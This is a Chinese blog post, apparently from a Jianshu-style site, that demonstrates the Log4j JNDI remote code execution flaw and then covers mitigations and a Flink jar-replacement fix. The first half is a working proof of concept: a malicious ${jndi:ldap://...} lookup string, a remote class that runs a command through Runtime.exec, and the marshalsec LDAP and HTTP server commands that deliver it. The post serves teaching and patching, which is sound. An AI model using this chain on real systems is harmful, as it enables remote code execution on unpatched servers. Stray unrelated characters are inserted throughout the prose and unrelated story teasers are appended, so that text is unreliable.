Log4j遠(yuǎn)程任意代碼執(zhí)行漏洞POC和Flink修復(fù)

聲明

本篇目的為分享原理和學(xué)習(xí)用途残黑,嚴(yán)禁用于任何惡意行為俗孝。任何惡意使用導(dǎo)致的一切損失和法律責(zé)任由操作者承擔(dān)匙奴,和本文作者無關(guān)俗冻。

準(zhǔn)備工作

下載并編譯mbechler/marshalsec礁叔。

git clone https://github.com/mbechler/marshalsec.git
cd marshalsec/
mvn clean package -DskipTests

編寫代碼

Log4j漏洞代碼(Log4j.java):

public static void main(String[] args) {
    // 高版本(191以上)JDK默認(rèn)為false,需要添加這一行
    System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
    logger.error("${jndi:ldap://127.0.0.1:1389/Log4jRCE}");
}

漏洞遠(yuǎn)程惡意執(zhí)行代碼(Log4jRCE.java)迄薄,如下例子為啟動(dòng)計(jì)算器程序琅关。

static {
    System.out.println("Log4jRCE from remote!");
    // 啟動(dòng)計(jì)算器,在windows環(huán)境下
    try {
        String[] cmd = {"calc"};
        java.lang.Runtime.getRuntime().exec(cmd).waitFor();
    } catch (Exception e) {
        e.printStackTrace();
    }
}

編譯Log4jRCE.java并放置class文件于任意目錄讥蔽,例如/path/to/rce涣易。

漏洞利用

復(fù)制編譯后的漏洞遠(yuǎn)程惡意執(zhí)行代碼(Log4jRCE.class)到任意目錄,例如/path/to/rce冶伞,啟動(dòng)一個(gè)http服務(wù)器新症。

mv Log4j.class /path/to/rce
python -m http.server 8081

進(jìn)入marshalsec目錄,啟動(dòng)LDAP服務(wù):

cd marshalsec
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8081/#Log4jRCE

執(zhí)行漏洞代碼:

java -cp log4j-api-2.14.1.jar:log4j-core-2.14.1.jar Log4j

我們發(fā)現(xiàn)輸出:

Log4jRCE from remote!

同時(shí)計(jì)算器程序被啟動(dòng)响禽。觀察http server和LDAP服務(wù)器日志徒爹,發(fā)現(xiàn)的確接收到了Log4j漏洞代碼發(fā)來的請(qǐng)求。

漏洞防御

漏洞防御措施分為臨時(shí)規(guī)避方案和徹底解決方案芋类。

臨時(shí)規(guī)避方案

強(qiáng)烈建議升級(jí)JDK版本到6u211 / 7u201 / 8u191 / 11.0.1這些版本以上隆嗅。這些版本默認(rèn)com.sun.jndi.ldap.object.trustURLCodebase值為false,一定程度上降低了安全風(fēng)險(xiǎn)侯繁,但是不能徹底解決胖喳。

安全建議如下:

  1. 修改JVM參數(shù),增加 -Dlog4j2.formatMsgNoLookups=true
  2. 設(shè)置系統(tǒng)環(huán)境變量LOG4J_FORMAT_MSG_NO_LOOKUPS=true
  3. 對(duì)于2.0-beta9 到 2.10.0 之間的版本(閉區(qū)間)贮竟,需要從jar包中刪除org/apache/logging/log4j/core/lookup/JndiLookup.class丽焊〗咸辏可執(zhí)行zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
  4. PatternLayout 設(shè)置輸出消息格式為%m{nolookups}技健,不要使用%m重付。

徹底解決方案

需要替換項(xiàng)目依賴中的log4j為2.16.0。log4j2.15.0雖然已經(jīng)修復(fù)了漏洞凫乖,但只是應(yīng)急處理(解決了JNDI從日志消息和地址訪問)确垫,建議使用更安全的2.16.02.16.0默認(rèn)禁用了JNDI帽芽。開啟JNDI需要 log4j2.enableJndi設(shè)置為 true 删掀。除此之外該版本還默認(rèn)禁止了message解析過程lookup(相當(dāng)于默認(rèn)為前面說的%m{nolookups})。如要啟用lookup导街,請(qǐng)?jiān)O(shè)置Pattern為%m{lookup}披泪。

如果項(xiàng)目為fat jar(項(xiàng)目本身和依賴打到同一個(gè)jar包),建議修改log4j依賴版本后重新編譯搬瑰。如果項(xiàng)目加載固定目錄中的內(nèi)容到classpath(例如Flink的lib目錄)款票,直接替換依賴包即可。

Flink修復(fù)log4j漏洞的方式

下載并替換如下jar包到Flink的lib目錄:

注意:如果Flink引入了第三方j(luò)ar包泽论,還需要檢查第三方j(luò)ar包中的log4j版本艾少。作業(yè)中整個(gè)classpath中出現(xiàn)的log4j都需要排查一遍。

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末翼悴,一起剝皮案震驚了整個(gè)濱河市缚够,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌鹦赎,老刑警劉巖谍椅,帶你破解...
    沈念sama閱讀 218,386評(píng)論 6 506
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異古话,居然都是意外死亡雏吭,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,142評(píng)論 3 394
  • 文/潘曉璐 我一進(jìn)店門陪踩,熙熙樓的掌柜王于貴愁眉苦臉地迎上來杖们,“玉大人,你說我怎么就攤上這事膊毁≌陀ǎ” “怎么了?”我有些...
    開封第一講書人閱讀 164,704評(píng)論 0 353
  • 文/不壞的土叔 我叫張陵婚温,是天一觀的道長描焰。 經(jīng)常有香客問我,道長,這世上最難降的妖魔是什么荆秦? 我笑而不...
    開封第一講書人閱讀 58,702評(píng)論 1 294
  • 正文 為了忘掉前任篱竭,我火速辦了婚禮,結(jié)果婚禮上步绸,老公的妹妹穿的比我還像新娘掺逼。我一直安慰自己,他們只是感情好瓤介,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,716評(píng)論 6 392
  • 文/花漫 我一把揭開白布吕喘。 她就那樣靜靜地躺著,像睡著了一般刑桑。 火紅的嫁衣襯著肌膚如雪氯质。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,573評(píng)論 1 305
  • 那天祠斧,我揣著相機(jī)與錄音闻察,去河邊找鬼。 笑死琢锋,一個(gè)胖子當(dāng)著我的面吹牛辕漂,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播吴超,決...
    沈念sama閱讀 40,314評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼钉嘹,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了烛芬?” 一聲冷哼從身側(cè)響起隧期,我...
    開封第一講書人閱讀 39,230評(píng)論 0 276
  • 序言:老撾萬榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎赘娄,沒想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體宏蛉,經(jīng)...
    沈念sama閱讀 45,680評(píng)論 1 314
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡遣臼,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,873評(píng)論 3 336
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了拾并。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片揍堰。...
    茶點(diǎn)故事閱讀 39,991評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖嗅义,靈堂內(nèi)的尸體忽然破棺而出屏歹,到底是詐尸還是另有隱情,我是刑警寧澤之碗,帶...
    沈念sama閱讀 35,706評(píng)論 5 346
  • 正文 年R本政府宣布蝙眶,位于F島的核電站,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏幽纷。R本人自食惡果不足惜式塌,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,329評(píng)論 3 330
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望友浸。 院中可真熱鬧峰尝,春花似錦、人聲如沸收恢。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,910評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽伦意。三九已至劳淆,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間默赂,已是汗流浹背沛鸵。 一陣腳步聲響...
    開封第一講書人閱讀 33,038評(píng)論 1 270
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留缆八,地道東北人曲掰。 一個(gè)月前我還...
    沈念sama閱讀 48,158評(píng)論 3 370
  • 正文 我出身青樓,卻偏偏與公主長得像奈辰,于是被迫代替她去往敵國和親栏妖。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,941評(píng)論 2 355

推薦閱讀更多精彩內(nèi)容